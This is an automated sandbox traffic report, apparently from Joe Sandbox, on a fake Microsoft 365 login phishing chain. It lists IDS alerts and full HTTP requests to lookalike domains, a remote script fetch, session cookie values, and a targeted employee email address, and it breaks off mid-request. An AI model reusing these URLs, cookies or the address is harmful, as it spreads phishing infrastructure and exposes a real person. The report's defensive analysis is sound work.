Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=uk.bdt@belzona.com	HTTP Parser: No <meta name="copyright".. found
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=uk.bdt@belzona.com	HTTP Parser: No <meta name="copyright".. found
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=uk.bdt@belzona.com	HTTP Parser: No <meta name="copyright".. found
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=uk.bdt@belzona.com	HTTP Parser: No <meta name="copyright".. found
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=uk.bdt@belzona.com	HTTP Parser: No <meta name="copyright".. found
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: No <meta name="copyright".. found
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: No <meta name="copyright".. found
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: No <meta name="copyright".. found
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: No <meta name="copyright".. found

Source: unknown

Network traffic detected: DNS query count 45

Source: Joe Sandbox View	IP Address: 37.252.171.149 37.252.171.149
Source: Joe Sandbox View	IP Address: 91.228.74.200 91.228.74.200
Source: Joe Sandbox View	IP Address: 104.18.37.193 104.18.37.193

Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.4:50033 -> 104.244.42.67:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.4:50075 -> 188.125.88.204:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.4:50096 -> 188.125.88.204:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.193.114.18
Source: unknown	TCP traffic detected without corresponding DNS query: 23.193.114.18
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.238.18
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.238.18
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /hookie/yqowep/yonders.js HTTP/1.1Host: easycdn.cdn78drop.clickConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hookie/yqowep/yonders.js HTTP/1.1Host: easycdn.cdn78drop.clickConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fl/ryzm5vdi HTTP/1.1Host: autenticatorresolver.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/bootstrap@5.0.2/dist/css/bootstrap.min.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://autenticatorresolver.onlinesec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://autenticatorresolver.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/global/pdf/css/app.css HTTP/1.1Host: autenticatorresolver.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://autenticatorresolver.online/fl/ryzm5vdiAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/global/pdf/css/conf.css HTTP/1.1Host: autenticatorresolver.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://autenticatorresolver.online/fl/ryzm5vdiAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/global/pdf/css/conn.css HTTP/1.1Host: autenticatorresolver.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://autenticatorresolver.online/fl/ryzm5vdiAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/@popperjs/core@2.11.8/dist/umd/popper.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://autenticatorresolver.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/bootstrap@5.3.3/dist/js/bootstrap.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://autenticatorresolver.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/@popperjs/core@2.11.8/dist/umd/popper.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/bootstrap@5.3.3/dist/js/bootstrap.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json?token=ad570b7adafe32 HTTP/1.1Host: ipinfo.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://autenticatorresolver.onlineSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://autenticatorresolver.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /msmatcherauth HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://autenticatorresolver.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json?token=ad570b7adafe32 HTTP/1.1Host: ipinfo.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://autenticatorresolver.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6
Source: global traffic	HTTP traffic detected: GET /login HTTP/1.1Host: www.mslookupauthenticator.clickConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://autenticatorresolver.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://autenticatorresolver.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; fpc=AtfpoojIKkhNq3uGF_ewTks; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFetLdad4X3HKVhILA_WzBxJ060mPmhjYc19X_tq44-Y32ZYN9x071Y9u2ErhdMcIyDhB1oNrVYLm7I-e9OrQ-ivGYoLrBwSjZu7dX-hdUistnHKr7rpSMDiaWv5PxvWPu_t_Jk1pcRyQ77hhj75MQhIda-HI6lk-iUJjqMjOkv1zUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /fwd/api HTTP/1.1Host: autenticatorresolver.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6/21e9b8317fa1a3d5bd9930a886e47543e758b850f0b6f5b325717f87114218b0.js HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; fpc=AtfpoojIKkhNq3uGF_ewTks; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFetLdad4X3HKVhILA_WzBxJ060mPmhjYc19X_tq44-Y32ZYN9x071Y9u2ErhdMcIyDhB1oNrVYLm7I-e9OrQ-ivGYoLrBwSjZu7dX-hdUistnHKr7rpSMDiaWv5PxvWPu_t_Jk1pcRyQ77hhj75MQhIda-HI6lk-iUJjqMjOkv1zUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA
Source: global traffic	HTTP traffic detected: GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6.js HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: 